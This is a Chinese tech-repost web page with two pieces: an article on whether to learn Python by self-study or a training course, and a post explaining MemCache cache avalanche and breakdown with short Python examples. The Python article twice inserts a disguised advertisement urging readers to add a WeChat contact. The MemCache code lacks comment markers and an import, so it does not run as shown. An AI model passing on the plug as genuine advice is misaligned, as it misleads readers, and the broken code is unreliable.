...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 我们不得不承认,python语言的迅速火爆,学习python的人越来越多,领域的就业竞争也越来越激烈。 我们都知道市面上有很多的python学习培训班,无论是线上的还是线下的,因为现在的社会发展速度非常快,加之今年疫情的影响,今年的就业形势非常严峻。在这样的情况下,很多人也就加入到了python的学习队伍中,同时也出现了许多培训机构。 但都说python的入门简单的,那我们还有必要去参加培训么?是不是自学就可以了呢? 针对个人而言,参加培训还是自学,我们可以从这几个方面去考虑。 一、时间是否充裕 要先衡量一下我们每天可以投入学习的时间,是2个小时还是6个小时。比如作为职场在职人士,你有正式的工作要忙,没有太多的时间去自学。再比如你是个全职宝妈想要自学,那一定不比在校学生或者单身没有家庭负担的人时间充裕。最后,如果你的时间不是很紧张,并且又想快速的提高,最重要的是不怕吃苦,建议你可以联系维:762459510 ,那个真的很不错,很多人进步都很快,需要你不怕吃苦哦!大家可以去添加上看一下~ 二、自己是否有自制力 当我们有了充分的学习时间,我们还需要衡量一下,自己是否有自制力,没有良好的学习环境,我们也只能三天打鱼两天晒网,自学并不会有太好的成效。 三、是否可以制定系统的学习计划 自学时,我们通常会进行一些书籍的购买和线上免费的课程。免费的课程一般也只有体验课程,不会系统全面地进行讲解。而只是看书,那些晦涩难懂的语言,无人解释,看起来估计和天书差不多了。 四、自学了如何进行实践 python是一个需要学习一项技能后,马上就进行操作的语言,只有亲自的实践才能更快的学习精华。实践的课题我们应该从哪些地方找呢? 如果以上都会成为你学习中的难点,那么我劝你最好还是去报个培训班来学习Python了。 幸运的是,我们身处信息时代,许多在线教育平台推出了由专业教师主讲的Python入门课程,注重实操,提升编程能力,自己动手就能写程序。最后,如果你的时间不是很紧张,并且又想快速的提高,最重要的是不怕吃苦,建议你可以联系维:762459510 ,那个真的很不错,很多人进步都很快,需要你不怕吃苦哦!大家可以去添加上看一下~ 写在最后,其实经过分析我们每个人心中也都有了答案,自学还是培训,首先需要确定自己的学习目标,是为了就业还是只是兴趣,时间是否充足。如果是想就业找工作,完全可以参加培训,培训最大的好处就是节省时间。节省时间最大的好处就是拥有比同龄人更多的竞争力,获得更多的机会。 自学的好处就是省钱,短期是节省了,损失了时间和机会。自学和培训对比,相同的起点和终点,同样能力的人付出的时间肯定不同。 如果是你,你会怎么选呢? 本篇文章为转载内容。原文链接:https://blog.csdn.net/kj7762/article/details/119864246。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-01 23:27:10
314
转载
MemCache
...结果把收银台(也就是服务器)给挤爆了。缓存击穿就是说,某个特别火的数据,比如明星的生日这种,本来缓存里是有存的,但突然间缓存失效了或者被人删掉了。这样一来,所有想看这个数据的人的请求就会一股脑儿地涌向数据库,把数据库给挤爆了。这也就是所谓的“热点问题”。 想象一下,你正坐在电影院里等待电影开场,突然影院的空调坏了,所有人都涌向门口,这就像缓存雪崩。缓存击穿就跟你的最爱电影票被抢光了一样,大家都跑去买票,结果售票处就挤爆了。 2. 为什么会出现缓存雪崩? 缓存雪崩通常发生在以下几个场景中: - 缓存过期时间设置相同:如果所有缓存数据的过期时间都设为同一时刻,那么当这一时刻到来时,所有的缓存都会同时失效,从而导致大量请求瞬间涌向数据库。 - 缓存服务宕机:如果缓存服务出现故障,所有依赖它的请求都会直接打到后端数据库上。 - 网络故障:网络问题也可能导致缓存失效,进而引发雪崩效应。 3. 如何防止缓存雪崩? 防止缓存雪崩的方法有很多,这里我给大家分享几个实用的技巧: - 设置不同的过期时间:不要让所有的缓存数据在同一时刻失效,可以通过随机化过期时间来避免这种情况。 - 部署多级缓存架构:比如可以将MemCache作为一级缓存,Redis作为二级缓存,这样即使MemCache出现问题,还有Redis可以缓冲一下。 - 使用缓存降级策略:当缓存不可用时,可以暂时返回默认值或者降级数据,减少对数据库的冲击。 4. 代码示例 MemCache的使用与缓存雪崩预防 现在,让我们通过一些代码示例来看看如何使用MemCache以及如何预防缓存雪崩。 python import memcache 初始化MemCache客户端 mc = memcache.Client(['127.0.0.1:11211'], debug=0) def get_data(key): 尝试从MemCache获取数据 data = mc.get(key) if not data: 如果没有找到,则从数据库中获取 data = fetch_from_db(key) 设置缓存过期时间为随机时间,避免雪崩 mc.set(key, data, time=random.randint(60, 300)) return data def fetch_from_db(key): 模拟从数据库获取数据的过程 print("Fetching from database...") return "Data for key: " + key 示例调用 print(get_data('key1')) 在这个例子中,我们设置了缓存的过期时间为一个随机时间,而不是固定的某个时刻,这样就可以有效避免缓存雪崩的问题。 5. 什么是缓存击穿? 接下来,我们聊聊缓存击穿。想象一下,你手头有个超级火的信息,比如说某位明星的新鲜事儿,这事儿火爆到不行,大伙儿都眼巴巴地等着第一时间瞧见呢!不过嘛,要是这个数据点刚好没在缓存里,或者因为某些原因被清理掉了,那所有的请求就都得直接去后台数据库那儿排队了。这样一来,缓存就起不到作用了,这种情况就叫“缓存击穿”。 6. 如何解决缓存击穿? 解决缓存击穿的方法主要有两种: - 加锁机制:对于同一个热点数据,只允许一个请求去加载数据,其他请求等待该请求完成后再从缓存中获取数据。 - 预先加载:在数据被删除之前,提前将其加载到缓存中,确保数据始终存在于缓存中。 7. 代码示例 加锁机制防止缓存击穿 python import threading lock = threading.Lock() def get_hot_data(key): with lock: 尝试从MemCache获取数据 data = mc.get(key) if not data: 如果没有找到,则从数据库中获取 data = fetch_from_db(key) 设置缓存过期时间 mc.set(key, data, time=300) return data 示例调用 print(get_hot_data('hot_key')) 在这个例子中,我们引入了一个线程锁lock,确保在同一时刻只有一个请求能够访问数据库,其他请求会等待锁释放后再从缓存中获取数据。 结语 好了,今天的讲解就到这里。希望读完这篇文章,你不仅能搞清楚啥是缓存雪崩和缓存击穿,还能学到一些在实际操作中怎么应对的小妙招。嘿,记得啊,碰到技术难题别慌,多琢磨琢磨,多动手试试,肯定能搞定的!如果你还有什么疑问或者想了解更多细节,欢迎随时留言讨论哦! 希望这篇文章能帮助到你,咱们下次见!
2024-11-22 15:40:26
60
岁月静好
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
uniq file.txt
- 移除连续重复行。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"